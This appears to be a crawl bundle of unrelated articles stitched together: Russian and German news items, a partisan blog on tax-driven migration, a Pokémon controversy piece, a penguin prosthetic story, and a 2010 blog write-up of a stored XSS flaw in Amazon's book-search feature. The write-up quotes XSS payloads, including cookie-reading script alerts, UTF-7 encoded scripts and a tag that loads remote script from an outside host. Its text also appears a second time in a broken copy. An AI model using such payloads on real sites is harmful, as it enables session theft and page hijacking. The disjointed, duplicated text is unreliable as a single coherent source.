Сергею досталась капризная машина, но он все равно доволен жизнью
Этот вопрос я задаю многим. Одни уверены, что на подходе к зоне боев их сменят некие другие водители. Другие рассчитывают на гуманитарный коридор. Третьи считают, что доставить помощь Донбассу надо любой ценой. Сергей Кравченко из МЧС позже объясняет, что мы неправильно поняли: все водители в колонне – добровольцы, прекрасно знающие, на что идут.
Сейчас официальные представители Украины согласились осмотреть фуры, даже если они пойдут через Изварино. Также на месте уже работают представители Красного Креста. Впрочем, по неофициальным данным, осмотр колонны может затянуться как минимум до воскресенья.
По соседству с белыми гуманитарными расположились черные военные грузовики. Непонятно, как они связаны с колонной | {
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Well, this should shock precisely zero conservatives. United Van Lines has been keeping a record of their clients — so they know exactly how many people are relocating between various states. A not-so-shocking trend has emerged. As the Free Beacon reports, people are leaving states with the highest taxes:
Illinois, New Jersey, and New York were the top states in the nation for outbound moves in 2017, according to data from United Van Lines. United Van Lines, which tracks state-to-state migration patterns, found that Illinois was the top state for outbound migration with 63 percent of moves going out of state. “The Northeast continues to experience a moving deficit with New Jersey (63 percent outbound), New York (61 percent) and Connecticut (57 percent) making the list of top outbound states for the third consecutive year,” the report states. “Massachusetts (56 percent) also joined the top outbound list this year.”
As Jazz Shaw on HotAir reported, there is a pattern to these specific states. In fact, they have something in common. “… The states with the highest tax burdens include the following: New York is number 1, Connecticut is number 6, New Jersey is number 7 and Illinois is number 9.”
As a Californian, I totally understand this migration. There’s something really infuriating about forking over taxes to a state that spends so frivolously.
Shaw maintains that this might have a negative impact on Democratic representation in the House:
New York has been bleeding off residents for a long time now and consistently losing seats in Congress. Looking at these numbers, that may happen again after 2020. It’s also no mystery that the rest of the high tax states tend to be the blue ones. There may be some regional demographic changes which favor the Democrats, but overall, their representation in the House may wind up shrinking because they continue to tax their residents to the point of exhaustion and evacuation.
One can only hope that Democrat politicians suffer real-world consequences to their onerous tax policies.
Image Credit: PRO Phil’s 1stPix on Flickr
Hat Tip: HotAir | {
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Нападающий Александр Хохлачев окончательно решил вернуться в Россию, где права на него принадлежат СКА. 22-летний форвард недоволен количеством игрового времени в "Бостоне". В нынешнем сезоне он принял участие лишь в пяти матчах регулярного чемпионата НХЛ. При этом на его счету 68 (23+45) очков в 60 играх в составе фарм-клуба "Брюинз" в АХЛ. Напомним, что Хохлачев перебрался в Северную Америку в 2013 году из "Спартака". (Алексей ШЕВЧЕНКО) | {
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Hass-Aktion bewirkt Gutes
Tausende spenden aus Wut gegen Krebs
Eine Kampagne gegen den Sicherheitsexperten Brian Krebs hat im Netz eine verrückte Wendung genommen: Die Abneigung gegen Krebs brachte die Seite der Deutschen Krebshilfe zum Absturz, als Tausende Nutzer auf einmal für den "Kampf gegen Krebs" spenden wollten.
Das ist die vielleicht beste Art, gegen etwas zu sein: Nach einem Bericht über die deutsche Seite pr0gramm.com hat die Wut auf den Autor einige Nutzer zu einer ungewöhnlichen Spendenaktion angeregt. Mehrere Tausend Nutzer überwiesen Geld an die Krebshilfe, um "eines der größten Probleme unserer Zeit" (Krebs) zu bekämpfen. Versehen sind viele Zahlungen mit Botschaften wie "Krebs ist scheiße". Gemünzt ist das auch auf den Sicherheitsexperten Brian Krebs, der die Identität von pr0gramm-Machern öffentlich gemacht und sich damit den Zorn zugezogen hat.
pr0gramm ist ein sogenanntes Image Board. Dort werden von den Nutzern Bilder und Videos gepostet und kommentiert. Am Dienstagabend waren dort fast nur noch Screenshots von Überweisungen für die Krebshilfe zu sehen. Google Trends zeigte, dass auch die Suchanfragen um mehrere Tausend Prozent in die Höhe schnellten.
Als die Seite der Deutschen Krebshilfe schließlich unter dem plötzlichen Ansturm zusammenbrach, kamen auch andere Organisationen in den Genuss von Spenden. Zudem erhielten auch Einrichtungen in Österreich und der Schweiz Spenden. Den Bildschirmfotos zufolge waren darunter so gut wie keine Spaßspenden mit Kleinstbeträgen. Die Deutsche Krebshilfe teilte am Mittwochabend mit, es seien 4100 Spenden mit einem Betrag von 103.000 Euro eingegangen. Das Deutsche Krebsforschungszentrum berichtete von 74 Spenden. Die DKMS twitterte: "Wir können unseren Augen kaum trauen und freuen uns sehr über die sehr sehr zahlreichen Geldspenden."
Wir haben schon geguckt und können unseren Augen kaum trauen! Wir freuen uns sehr über die sehr sehr zahlreichen Geldspenden, die aktuell rein kommen. — DKMS Deutschland (@DKMS_de) 28. März 2018
Zunächst Memes gegen Journalist
Ihre Abneigung gegen Krebs hatten die Nutzer auch schon vor der Spendenaktion deutlich gemacht – mit fiesen Bildern, die gegen den Journalisten Brian Krebs gerichtet sind. Nach seinem Bericht vom Montag mit Name und Wohnorten von pr0gramm-Verantwortlichen fürchten viele in der Community das Aus für die Seite. "Wenn pr0gramm runtergefahren wird wegen des Berichts, dann verlieren Hunderttausende Kellerkinder ihren Lebensinhalt", schrieb ein Nutzer halbironisch auf Twitter an Krebs. Der US-Journalist antwortete: "Die Kellerbewohner müssten also etwas anderes tun, als anonym Hassbilder und Todesdrohungen gegen Journalisten zu posten? Wäre ja echt eine Schande!" Krebs ist durch seine Recherchen über Internetkriminelle hartgesotten, ihm wurde auch schon Heroin ins Haus geschickt, um ihm etwas anzuhängen.
So all these basement dwellers as you call them might have to go do something else other than anonymousely post nastygrams and threaten journalists with death? That would be a real shame. — briankrebs (@briankrebs) March 26, 2018
Was nach seinem aktuellen Artikel passierte, war da vergleichsweise harmlos. Es folgten – schnell verworfene und aussichtslose – Überlegungen, seine Seite mit massenhaften Zugriffen über Bot-Netze zu stören. Es hagelte außerdem Memes, also Bilder und Bildmontagen, in denen Krebs oft auch verletzend angegangen wurde.
pr0gramm ist für rauen Humor bis über die Schmerzgrenze bekannt, Meinungsfreiheit wird dort auch mit Schockbildern gelebt, die selbst extrem überforderte Facebook-Content-Moderatoren sofort löschen würden. Ein Administrator postete in Sachen Krebs eine Mahnung: Jegliche Vergeltungsaktionen würden nur pr0gramm schaden. "Bleibt sachlich und höflich", so die Bitte.
Screenshot trat Welle los
Am Dienstagabend änderte sich die Auseinandersetzung dann, nachdem ein Nutzer, "BassT87", einen Screenshot als Beleg für eine 25-Euro-Spende an die Krebshilfe postete. "Ich habe den Rummel um Herrn Krebs mal zum Anlass genommen, meinen Teil gegen Krebs beizutragen. Vielleicht macht der ein oder andere es ja (statt dem drölftausendsten Meme) ja nach...". Bereits frühmorgens hatte ein Nutzer "Xari" die Idee auch gepostet, aber ein Posting um 5.03 Uhr findet selbst bei pr0gramm-Nutzern wenig Beachtung. "BassT87" trat dann aber die Welle los – und lässt manche Nutzer beinahe glückselig staunen, zu was die Community in der Lage ist.
Den Unmut hat sich Brian Krebs zugezogen mit einem Text zu Coinhive. Das ist eine Software, die Seitenbetreiber einsetzen können, um die Rechner nichtsahnender Besucher zum "Schürfen" nach Kryptowährung einzusetzen. "Motherboard" nennt sie "die fieseste Malware des Jahres". Mehr als eine Milliarde Nutzer im Monat stellen den "Crypto-Jackern" unfreiwillig Rechnerleistung zur Verfügung. Krebs enthüllte, dass der Spieleentwickler und pr0gramm-Gründer Dominic Szablewski Coinhive entwickelt hat.
Artikel holt Macher aus der Anonymität
Szablewski hat das auch inzwischen selbst in einem Blog-Beitrag erklärt. Obwohl er bei pr0gramm lange ausgeschieden sei, habe er dort mit dem Prototyp einer solchen Schürfsoftware testen dürfen. Das war ein Erfolg, er gründete Coinhive.
Was die pr0gramm-Nutzer nun so empört: Krebs machte auch Informationen von aktuellen Beteiligten an pr0gramm öffentlich – und Anonymität und Datenschutz sind den Nutzern und Betreibern heilig. Zwei Administratoren schreiben in einem Statement, dass man versucht habe, nach massiven Drohungen die Identität der Mitarbeiter bestmöglich zu schützen. Mit Coinhive habe man nichts zu tun – das war aber die Rechtfertigung von Krebs, die Identitäten öffentlich zu machen. Die Betreiber deuten an, dass sie auch gut ohne pr0gramm leben könnten und sich in den nächsten Tagen zeigen werde, wie es weitergeht. Nutzer hoffen, dass die Spenden gegen Krebs Eindruck machen.
Die Stiftung Deutsche Krebshilfe wusste gar nicht, wie ihr geschah: Die Pressestelle erfuhr am Mittwoch durch t-online.de von dem Geschehen in der Nacht. Die vorläufige Auswertung der Flut von Spenden zog sich bis in den frühen Abend. Vorstandsvorsitzender Gerd Nettekoven wollte sich zu „pr0gramm“ und dem Streit mit Brian Krebs nicht äußern. Nettekoven dankte aber "allen Spenderinnen und Spendern für ihre Unterstützung im Rahmen dieser außergewöhnlichen Initiative. Sie alle helfen uns, die Versorgung krebskranker Menschen weiter zu verbessern und die Krebsforschung voranzubringen."
Update, 28. März, 17:28 Uhr: Der Text wurde nach einer Stellungnahme mit Informationen der Deutschen Krebshilfe aktualisiert. | {
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The controversy surrounding Pokémon Sword and Shield’s lack of a National Pokedex has not died down — it’s only gotten bigger. Some fans are calling the limited Pokedex “Dexit,” while others are making references to the Thanos snap. And at least one Pokémon aficionado made the mistake of saying that including all of the monsters in the compendium would only take five minutes each. This, in turn, motivated artists on Twitter to show off what five minutes of work would actually look like.
Spoiler alert: Only using five minutes to craft a Pokémon usually results in garbage. While it’s understandable that people are upset that Pokémon Sword and Shield’s postgame won’t let you import the full repertoire of monsters from all eras, the discourse surrounding this change has led to a number of misunderstandings about game development. As far as some players are concerned, if Game Freak, the creators, were able to include all monsters before, and the very tagline of the franchise used to be gotta catch em all, it makes no sense to limit what creatures appear in your game. Players have been putting together collections for years now, and they’re upset that they’ll have to leave some friends behind. Surely, some of the thinking goes, the divergence for the next games must mark laziness on the developer’s part?
More level-headed fans understand that adding a hundred or more monsters every generation means that importing critters is becoming an exponential task with each game, and therefore it was only a matter of time before Game Freak cut back. In a recent interview, Game Freak said that it knew it couldn’t keep including the full Pokedex for too long, and that future titles likely won’t change course. This is likely why so many felt the need to partake in #ポケモン5分モデリング, a Japanese hashtag that roughly translates to “five minute renders.” Artists want to demystify how asset-creation actually works, and get rid of the notion that making more content would be easy. Others, meanwhile, took the hashtag up as a challenge to see what they could make in the allotted time.
Some artworks are hilariously sparse, making the Pokémon look like knockoffs. Others manage to distill a Pokémon’s essence to the bare minimum features. All prove that you can’t just spend a five extra minutes to fix a very big issue. Here are some of the best five-minute renders floating around in the web: | {
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A New Zealand penguin who had its leg amputated after it got stuck in a fishing line in 2007 is getting a brand new 3D printed one.
When the Little Blue Penguin was brought to the Christchurch Antarctic Centre nine years ago his foot had to be amputated and it has been limping ever since. Now Bagpipes is being fitted with new 3D printed prototypes in a New Zealand first.
Mal Hackett, a penguin keeper at the Antarctic Centre, said that Bagpipes often got pressure wounds on the bottom of his stump, so the foot would help take the weight off. | {
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Research: Stored XSS Vulnerability @ Amazon There's a remarkable flaw in Amazon's web shop (tested on .de, co.uk, .com): It's a stored XSS vulnerability. So far so, good what's new? — is probably what you're thinking — XSS problems had Amazon and other major companies too in the past. Picture 1: Web Application Hacker's Handbook (a.k.a. WAHH) exploiting Amazon (IE under Vista) This one is different though. Whereas the standard example for a stored XSS vulnerability over an out-of-band channel is a web mailer like
Prerequisites for experience this vulnerability are not really on the tough side, i.e. it works with a usual browser. I was successful with Chrome 7/8 and Firefox 3.6 (both under Linux) as well as IE 8 (Win 7/Vista): Go to <amazon.tld> (for TLD: see above, I guess every domain should work) Search for "the right" web application security book, see below Click on it (see above: it should be a book which offers to search in the content) If it is the Web Application Hackers Handbook (picture 1) or the German book Sichere Webanwendungen (picture 2) search in the content for ADw ( +ADw- is UTF-7 for < ) Put your mouse over the search result(s), bingo! Picture 2: Book Sichere Webanwendungen shows vulnerability @ Amazon (Firefox) Not all search results work, in this example for the German book only the first XSS "flies". More on this below.
Note that the second search result of this book has a (double) iframe on p216 with UTF-7 encoding (w/o any document.cookie ). Unfortunately the PHP script referred by the iframe doesn't exist currently. There's a good chance that this would work otherwise (hey Mario: how 'bout putting the file online? ;-))
It seems that amazon.com doesn't provide any
Back to the issue: The search requests are submitted via XHR, it's a POST request with the variable query containing the search string. The (gzipped) JSON response contains an array, i.e. page number, search result string, base64 binary string, taking WAHH for example: {"error":{"text":{"args":{"LOGIN_RETURN_ARGS":"asin=0470170778&query=adw"},"key":"PLEASE_SIGN_IN_TEXT"},"title":{"key":"PLEASE_SIGN_IN_TITLE"},"reftag":"rdr_bar_login"},"totalResults":1,"results": [[447, "Seite 414", "following examples show some representations of the string <script>alert (document .cookie) </script> in nonstandard encodings: UTF-7: +ADw-script+AD4-alert (document", "pKvfaCQHPYP1mAOMsqHbIMO5DiEek6tcJ793LfEO3psFk9WN56CtZQ=="]]} Displayed in the browser is only a part of the search result (I left the HTML bold/<b> on purpose as it is also shown in the browser): "Seite 414 .cookie) </script> in nonstandard encodings: UTF-7: +ADw..." see also Sichere Webanwendungen revealed: If you search here for ADw three search results are being returned. The first result though is shown as an alert(2) : Seite 215</span> ...+ADw-script+AD4-alert(2)+ADw-/script+AD4-... Moving the mouse over the first result (see alert(1) dialog box. This is the preceding string from the JSON response which is the real payload: "216, "Seite 215", "haben viele Intrusion Detection Systeme und Web Application Firewalls in letzter Zeit in die- sen F\u00e4llen versagt. <html> <body> <script>alert(1)</script> +ADw-script+AD4-alert(2)+ADw-/script+AD4- </body> </html> Listing 6.4 UTF-7 XSS im IE dank MIME Type Guessing 215", "gdpIXdcHzw2/enkjgvEFzkiLrG+OK3jgKBVIfvgBbsDEW0HO2gJauA=="] This explains which of the both JavaScript popup works and that the whole thing is not a UTF-7 bypass issue as I first assumed stumbling over this phenomenon. The ADw string in the examples above was just helpful locating the right payload in a book and positioning the JSON response to the right window. The response is the basis for the "exploit", see variable tooltipText in tooltipText which is then interpreted in the browser if you move the mouse over the search result and the CSS tool-tip fires off. A good example I found during my research in the book XSS attacks: tooltipText which is then interpreted in the browser!
Speaking of it: Search for owned in the latter book and move your mouse over the search result on page 84. Another one: search string fire , result at page 133. Or: Netscape , p152. Unfortunately RSnake's server delivers pages with a X-FRAME-OPTIONS header. So it looks like the iframe is there, but it doesn't include his HTML if you use a query_string .
(Further) payloads from WAHH: embedded : p412
: p412 actually : p417
: p417 successful : p404 (two scripts fire!) Cool would have been to watch the payload on page 398 of WAHH — either the image or the error message (while "wiresharking"): <img src="http://192.168.1.1/hm_icon.gif" onerror="notNetgear()"> but I wasn't able to position the window correctly. Also the "copying the clipboard hack" at page 398 I couldn't get to fly. Picture 5: Amazon stallowned with XSS Attack, see also the URL The coolest thing ... or the weirdest — depends on your perspective — is the fact that the XSS Attack for 1000 . The culprit is on page 28. Move your mouse there and it looks like Amazon is owned, you immediately get the picture at the right hand side (div overlay also setting the HTML title).
What happened? There is on page 28 basically a listing containing one of RSnake's code snippets: Results 1 - 1- of 1000 for <b>"><script src=http://ha.ckers.org/s.js></script></b> on chrispederic.com. As you can see that piece of code made it into the tool-tip, that's it, bingo! [ Update 12/18/2010: ha.ckers.org seems to be offline since this morning, GMT+1 ] Bottom line With a little bit of luck and time it should definitely be possible to find more payloads in web security books, well... until Amazon fixes this. I didn't try very hard though I own WAHH and the German book which makes it easier (XSS Attack: not yet).
If you have any luck in these or other books, I am curious on any reports (see discuss link below). The hint again: In order to shift the search result window into the right position one has provide a search string slightly before the payload, in rare cases also after the payload works. This one is different though. Whereas the standard example for a stored XSS vulnerability over an out-of-band channel is a web mailer like OWA using SMTP here this channel for the attack is kind of — err, let's put it this way — unusual: One has to write a book! No, I am serious. This book needs to contain a crafted string so that it bypasses their weak/not existing filters/encodings and of course this book needs to be sold through Amazons shop and last but not least Amazon has to offer the "search in this book" functionality.Prerequisites for experience this vulnerability are not really on the tough side, i.e. it works with a usual browser. I was successful with Chrome 7/8 and Firefox 3.6 (both under Linux) as well as IE 8 (Win 7/Vista):Not all search results work, in this example for the German book only the first XSS "flies". More on this below.Note that the second search result of this book has a (double) iframe on p216 with UTF-7 encoding (w/o any). Unfortunately the PHP script referred by the iframe doesn't exist currently. There's a good chance that this would work otherwise (hey Mario: how 'bout putting the file online? ;-))It seems that amazon.com doesn't provide any HttpOnly or X-FRAME-OPTIONS in their HTTP headers as of now which would prevent modern browsers revealing their cookie or silently doing tricks more or less hidden in an iframe.Back to the issue: The search requests are submitted via XHR, it's a POST request with the variablecontaining the search string. The (gzipped) JSON response contains an array, i.e. page number, search result string, base64 binary string, taking WAHH for example:Displayed in the browser is only a part of the search result (I left the HTML bold/ on purpose as it is also shown in the browser):see also picture 3 in blue. So basically the whole thing is not a filter evasion by using UTF-7 encoding (for this to happen controlling the meta char-set header would be necessary, Amazon delivered in my research I did so far everything iso-8859-15 encoded). That it is not a filter evasion by using UTF-7 becomes more clear if you look deeper into the flaw the German bookrevealed: If you search here forthree search results are being returned. The first result though is shown as anMoving the mouse over the first result (see picture 2 at right hand side) however pops up andialog box. This is the preceding string from the JSON response which is the real payload:This explains which of the both JavaScript popup works and that the whole thing is not a UTF-7 bypass issue as I first assumed stumbling over this phenomenon. The ADw string in the examples above was just helpful locating the right payload in a book and positioning the JSON response to the right window. The response is the basis for the "exploit", see variablein picture 3 (green rectangle). Here the JavaScript from each examples is not filtered or encoded in any way, it's just passed 1:1 towhich is then interpreted in the browser if you move the mouse over the search result and the CSS tool-tip fires off. A good example I found during my research in the book There (picture 4) you see in the bottom half the string referred bywhich is then interpreted in the browser!Speaking of it: Search forin the latter book and move your mouse over the search result on page 84. Another one: search string, result at page 133. Or:, p152. Unfortunately RSnake's server delivers pages with a X-FRAME-OPTIONS header. So it looks like the iframe is there, but it doesn't include his HTML if you use a modern browser . Same book and page, same effect:(Further) payloads from WAHH:Cool would have been to watch the payload on page 398 of WAHH — either the image or the error message (while "wiresharking"):but I wasn't able to position the window correctly. Also the "copying the clipboard hack" at page 398 I couldn't get to fly.... or the weirdest — depends on your perspective — is the fact that the Stallowned hack from RSnake works! Wanna see it? Search infor. The culprit is on page 28. Move your mouse there and it looks like Amazon is owned, you immediately get the picture at the right hand side (div overlay also setting the HTML title).What happened? There is on page 28 basically a listing containing one of RSnake's code snippets:As you can see that piece of code made it into the tool-tip, that's it, bingo! [With a little bit of luck and time it should definitely be possible to find more payloads in web security books, well... until Amazon fixes this. I didn't try very hard though I own WAHH and the German book which makes it easier (: not yet).If you have any luck in these or other books, I am curious on any reports (see discuss link below). The hint again: In order to shift the search result window into the right position one has provide a search string slightly before the payload, in rare cases also after the payload works. Normally it would make sense to notify the vendor or the shop first before publishing it. But as I consider a) the impact to the security of Amazon's shop minimal b) and the attack vector is kind of ... err.. tedious and thus it is not really a low hanging fruit for evildoers I guess Amazon can live with the fact that I publish this without prior notifying them. ;-) Nope, I didn't try whether stored customer comments work with any payload. But as this is a standard hack and Amazon has been around for more than a while it would surprise me if this would not have been discovered by now. I tried Google books though and it doesn't seem to have this flaw. (Dirk Wetter, Dec 17 2010, 9:30am GMT+1)
:wq!
Update 12/18/2010, 10:30pm GMT+1: Looks like Amazon reacted already, the findings above don't work anymore.
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